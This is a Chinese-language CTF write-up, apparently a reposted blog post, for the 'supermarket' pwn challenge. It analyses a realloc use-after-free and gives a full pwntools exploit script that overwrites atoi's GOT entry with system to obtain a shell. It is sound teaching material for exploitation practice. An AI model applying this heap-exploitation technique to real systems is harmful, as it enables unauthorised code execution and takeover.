欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

【PWN系列】攻防世界 supermarket 题解

程序员文章站 2024-01-20 08:57:16
...

个人博客地址

http://www.darkerbox.com

欢迎大家学习交流

参考网址:

https://blog.csdn.net/seaaseesa/article/details/103093182
https://blog.csdn.net/qq_44370676/article/details/108229050(较详细)

分析

【PWN系列】攻防世界 supermarket 题解

【PWN系列】攻防世界 supermarket 题解
大概看了一个,是一个商品系统。一个商品含有名字、价格、描述,并且程序有五个功能

1、添加商品
2、删除商品
3、展示商品
4、修改商品价格
5、修改商品的描述

题外:我比较菜,不知道这个结构体怎么分析出来。但是我大概知道它内存分配情况。

查看添加商品代码。
【PWN系列】攻防世界 supermarket 题解
每添加的一个商品都会放到一个数组里,该数组是全局变量,存放在bss段。
可以看到添加一个商品会分配两个堆。

第一个堆分配28个字节,存储的内容如下
1、name(16字节)
2、price (4字节)
3、descrip_size(4字节)
4、descrip的地址(4字节)

第二个堆会分配descrip_size大小的堆,存储的内容如下:
1、descrip的内容(descrip_size个字节)

假设这里我们创建了一个商品,内容如下
1、name 为 2
2、price 为 10
3、descrip_size 为 0x20
4、descript 为 ‘b’*0x10

那么内存分配图如下。画的有点乱,不过应该可以看懂。可以看到分配了两个堆,一个堆的首地址为0x9f7b248。第二个堆的首地址为0x9f7b278
【PWN系列】攻防世界 supermarket 题解

大概知道这个题的内容后,开始找漏洞。
下图,程序获取用户输入的时候,只获取n-1个字符,n是用户输入的字符个数,然后把最后一位置0,这里不存在漏洞。
【PWN系列】攻防世界 supermarket 题解
在删除商品的代码中,可以看到free了两次,第一次free的是第二个堆,第二次free的是第一个堆,并且可以看到都置为0了。没有double free漏洞。
【PWN系列】攻防世界 supermarket 题解

在修改descrip的代码中使用了relloc函数。

【PWN系列】攻防世界 supermarket 题解

realloc函数作用大概如下:

1)如果当前内存段后面有需要的内存空间,则直接扩展这段内存空间,realloc()将返回原指针。
2)如果当前内存段后面的空闲字节不够,那么就使用堆中的第一个能够满足这一要求的内存块,将目前的数据复制到新的位置,并将原来的数据块释放掉,返回新的内存块位置。
3)如果申请失败,将返回NULL,此时,原来的指针仍然有效。

如果我们输入的大小大于原来的descript的大小,realloc的返回值并没有重新赋值给商品的descrip属性。导致商品的descrip属性还是指向的原来的区域,而这块区域已经被realloc给free掉了,所以导致了UAF漏洞。

利用

利用思路:
1、先分配一个大于fast bin(0x80)最大大小的商品,记为Node0。
再分配一个小点的Node1,用来分隔,如果不用node1来分隔,则realoc直接扩展Node0的descript的大小至新size。
2、编辑Node0,修改大小为0x90,则重新分配一个大小为0x90的堆。然后free掉Node0->descript。
3、创建Node2,让Node2分配到free后的Node0->descript。
4、修改Node0->descript即修改Node2。那么我们修改Node2->descript指向atoi的got表。
5、查看所有商品泄露atoi真实地址,找出Libc版本,获取system真实地址
6、修改Node2->descript即修改atoi的got表,修改为system地址即可。
7、下次调用atoi的时候,发送’/bin/sh’即可获得shell。

Exploit

#coding:utf8  
from pwn import *  
from LibcSearcher import *  
  
sh = process('./supermarket')  
# sh = remote('220.249.52.133',55295)  
elf = ELF('./supermarket')  
atoi_got = elf.got['atoi']  
context.log_level="debug"
#gdb.attach(sh)
def create(index,size,content):  
   sh.sendlineafter('your choice>>','1')  
   sh.sendlineafter('name:',str(index))  
   sh.sendlineafter('price:','10')  
   sh.sendlineafter('descrip_size:',str(size))  
   sh.sendlineafter('description:',content)  
  
def delete(index):  
   sh.sendlineafter('your choice>>','2')  
   sh.sendlineafter('name:',str(index))  
  
def show():  
   sh.sendlineafter('your choice>>','3')  
  
def edit(index,size,content):  
   sh.sendlineafter('your choice>>','5')  
   sh.sendlineafter('name:',str(index))  
   sh.sendlineafter('descrip_size:',str(size))  
   sh.sendlineafter('description:',content)  
  
#node0  
create(0,0x80,'a'*0x10)  
#node1,只用来做分隔作用,防止realloc直接扩大堆空间。
create(1,0x20,'b'*0x10)  
#realloc node0->description  
#注意不要加任何数据,因为我们发送的数据写入到的是Node->descript,此时Node->descript是free状态,这会导致后面malloc时出错  
edit(0,0x90,'')  
#现在node2将被分配到node0的原description处  
create(2,0x30,'d'*0x10)  #       20 is price
payload = '2'.ljust(16,'\x00') + p32(20) + p32(0x20) + p32(atoi_got)  
#由于没有把realloc返回的指针赋值给node0->description,因此node0->description还是原来那个地址处,现在存的是node1  
#因此edit(0)就是编辑node1的结构体,我们通过修改,把node1->description指向atoi的got表  
edit(0,0x80,payload)  
#泄露信息  
show()  
sh.recvuntil('2: price.20, des.')  
#泄露atoi的加载地址  
atoi_addr = u32(sh.recvuntil('\n').split('\n')[0].ljust(4,'\x00'))  
  
libc = LibcSearcher('atoi',atoi_addr)  # 7  
libc_base = atoi_addr - libc.dump('atoi')  
system_addr = libc_base + libc.dump('system')  
#修改atoi的表,将它指向system  
edit(2,0x20,p32(system_addr))  
#getshell  
sh.sendlineafter('your choice>>','/bin/sh')  
  
sh.interactive()  


欢迎一起学习交流,共同进步,欢迎加入信息安全小白群

【PWN系列】攻防世界 supermarket 题解

相关标签: pwn